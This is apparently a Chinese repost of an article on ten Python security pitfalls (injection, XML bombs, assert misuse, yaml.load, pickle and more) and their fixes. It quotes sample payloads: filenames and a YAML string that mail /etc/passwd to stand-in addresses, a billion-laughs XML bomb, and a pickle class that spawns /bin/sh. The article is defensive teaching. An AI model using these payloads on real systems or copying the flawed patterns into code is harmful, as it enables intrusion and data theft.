10个常见安全漏洞的Python解决方法

关注「实验楼」,每天分享一个项目教程   

用Python给你的项目打满补丁。

正文共:3939 字 

预计阅读时间:10 分钟

1.输入注入

注入攻击非常广泛而且很常见,注入有很多种类。它们可以影响语言,框架和环境。

SQL注入是直接编写SQL查询,而不使用ORM并将字符串文字与变量混合。“Escaping quotes”被认为是一种修复,但事实并非如此。 熟悉SQL注入可能发生在备忘单上的所有复杂方式。

命令注入可以在任何时候使用popen,subprocess,os.system调用一个进程并从变量中获取参数。 当调用本地命令时,有人可能会恶意设置某些值。

看一下这个简单的脚本[credit]。 你可以使用用户提供的文件名称调用子进程:

import subprocess

def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!

攻击者将filename的值设置为“; cat / etc / passwd | mail them@domain.com或者其他同样危险的东西。

解决方法:

如果使用的是Web框架附带的实用程序,请对输入进行清理。 除非你有充分的理由,否则不要手动构建SQL查询。 大多数ORM具有内置清理方法。

对于shell,请使用shlex模块正确地转义输入。

2.解析XML

如果你的应用程序加载并分析XML文件,那你可能正在使用XML标准库模块之一。 有通过XML的一些常见攻击。 大多数是DoS风格(旨在使系统崩溃而不是泄露数据)。 这些攻击很常见,特别是在解析外部(即不可信任的)XML文件时。

其中之一被称为“billion laughs”,因为有效载荷通常包含很多(十亿)“lols”。 你可以用XML来完成引用,所以当XML解析器试图将这个XML文件加载到内存中时,它会消耗千兆字节的RAM。

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一个攻击使用外部实体扩展。 XML支持从外部URL引用实体,XML解析器通常会毫无疑问地获取并加载该资源。“攻击者可以规避防火墙并访问受限制的资源,因为所有请求都是由内部可信的IP地址创建的,而不是来自外部。”

需要考虑的另一种情况是要依赖于解码XML的第三方软件包,例如配置文件,远程API。

那么在Python中会发生什么?标准库模块,etree,DOM,xmlrpc都可以广泛应用于这些类型的攻击。

使用defusedxml作为标准库模块的直接替换。 它增加了针对这些类型攻击的安全防护。

3.Assert 语句

不要使用assert语句来防止用户不应访问的代码段。 举一个简单的例子:

def foo(request, user):
assert user.is_admin, user does not have access
# secure code...

默认情况下,Python以__debug__来执行,但在生产环境中,通常使用优化运行。 这将跳过assert语句并直接转到安全代码,而不管用户是否是is_admin。

解决办法:

只能使用assert语句与其他开发人员进行通信,比如在单元测试中或为防止使用不正确的API。

4.时序攻击

时序攻击是一种侧信道攻击,攻击者试图通过分析加密算法的时间执行来推导出密码。每一个逻辑运算在计算机需要时间来执行,根据输入不同,精确测量执行时间,根据执行时间反推出密码。 时序攻击需要精确性,所以它们通常不能用于高延迟的远程网络。 由于大多数Web应用程序涉及可变延迟,因此几乎不可能在HTTP Web服务器上编写时序攻击。

但是,如果你有提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

用Python编写的基于SSH的时序攻击——https://github.com/c0r3dump3d/osueta

解决办法:

使用secrets.compare_digest,引入Python 3.5(https://docs.python.org/3/library/secrets.html#secrets.compare_digest)来比较密码和其他private值。

5.受污染的网站包或导入路径

将第三方软件包安装到站点软件包中,无论是在虚拟环境中还是在全球站点软件包(通常不鼓励)中,都会暴露在这些软件包中的安全漏洞。

需要考虑的另一种情况是依赖关系。他们也可能包含漏洞,通过导入系统覆盖Python中的默认行为。

解决方法:

看看PyUp.io及其安全服务。 为所有应用程序使用虚拟环境,并确保你的全球站点包尽可能干净。检查软件包的签名。

6.临时文件

要在Python中创建临时文件,通常使用mktemp()函数生成一个文件名,然后使用该名称创建一个文件。“这是不安全的,因为不同的进程可能会在调用mktemp()和随后尝试通过第一个进程创建文件之间的时间内创建一个具有此名称的文件。”这意味着它可能会欺骗应用程序加载错误的数据或暴露其他临时数据。

解决办法:

如果需要生成临时文件,请使用tempfile模块和mkstemp。

7.使用yaml.load

引用PyYAML文档:

使用从不可信源接收到的任何数据调用yaml.load是不安全的!

yaml.load和pickle.load一样强大,所以可以调用任何Python函数。

Talos漏洞报告。你可以将此值作为(有效)YAML提供给Ansible Vault。 它使用文件中提供的参数调用os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,从用户提供的值中加载YAML文件会暴露在攻击中。

解决办法:

使用yaml.safe_load

8. Pickles

反序列化pickle数据和YAML一样糟糕。 Python类可以命名一个__reduce__方法,该方法返回一个字符串,或一个可调用的元组以及在pickling调用的参数。攻击者可以使用它来攻击者可以使用它来引用其中一个子进程模块,以在主机上运行任意命令。

https://blog.nelhage.com/2011/03/exploiting-pickle/

import cPickle
import subprocess
import base64

class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

解决办法:

切勿取消不受信任或未经身份验证的来源的数据。 改用另一种序列化模式,如JSON。

9.使用Python运行但不修补

大多数POSIX系统都带有一个Python 2版本。通常是旧版本。

由于“Python”(即用C语言编写的CPython),有时候Python解释器本身存在漏洞。 C中的常见安全问题与内存分配有关,所以缓冲区溢出错误。

CPython出现了一些溢出漏洞,每个漏洞都在后续版本中进行了修补和修复。

解决办法:

为你的生产应用程序安装最新版本的Python,并对其进行修补!

10.不修补依赖关系

解决办法:使用像http://PyUp.io这样的服务来检查更新,向应用程序提出pull / merge请求,并运行测试保持软件包是最新的。

使用InSpec这样的工具来验证生产环境中的安装版本,并确保修补最小版本或版本范围。

640?

作者:Anthony Shaw
翻译:sugarain
原文链接:hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03

推荐阅读:


640?wx_fmt=1


  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Python中,常见修复CSRF(跨站请求伪造)漏洞方法如下: 1. 随机令牌:为了防止CSRF攻击,可以在每个用户会话中生成一个随机的令牌,并将令牌添加到每个表单请求中作为隐藏字段或cookie。服务器在接收到请求后,会验证令牌的有效性,如果不匹配则拒绝请求。 2. Referer检查:在接收到请求时,服务器可以检查Referer头信息,该头信息显示了请求的来源页面。如果来源页面与当前请求的页面不匹配,则可以拒绝请求。但需要注意的是,Referer头信息有时会被浏览器禁用或篡改,因此不能完全依赖该方法来防止CSRF攻击。 3. Samesite Cookie属性:在Python的Web框架中,可以使用Samesite Cookie属性来解决CSRF问题。设置Cookie的Samesite属性为"Strict"或"Lax"可以限制Cookie只能在同一站点下才能发送,从而避免了跨站点的请求伪造。 4. 双重提交令牌:一种常用的方式是将令牌存储在服务器端的会话中,并将其作为隐藏字段和cookie的值发送给客户端。当表单提交时,服务器验证表单中的令牌与会话中的令牌是否匹配,如果匹配则接受请求,否则拒绝请求。 5. 使用验证码:在某些敏感操作(如支付、修改密码)中,可以要求用户输入验证码。这样即使存在CSRF攻击,攻击者也无法成功地执行敏感操作。 以上是一些常见Python修复CSRF漏洞方法,为了确保应用程序的安全,建议结合多种措施来提高防御的效果。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值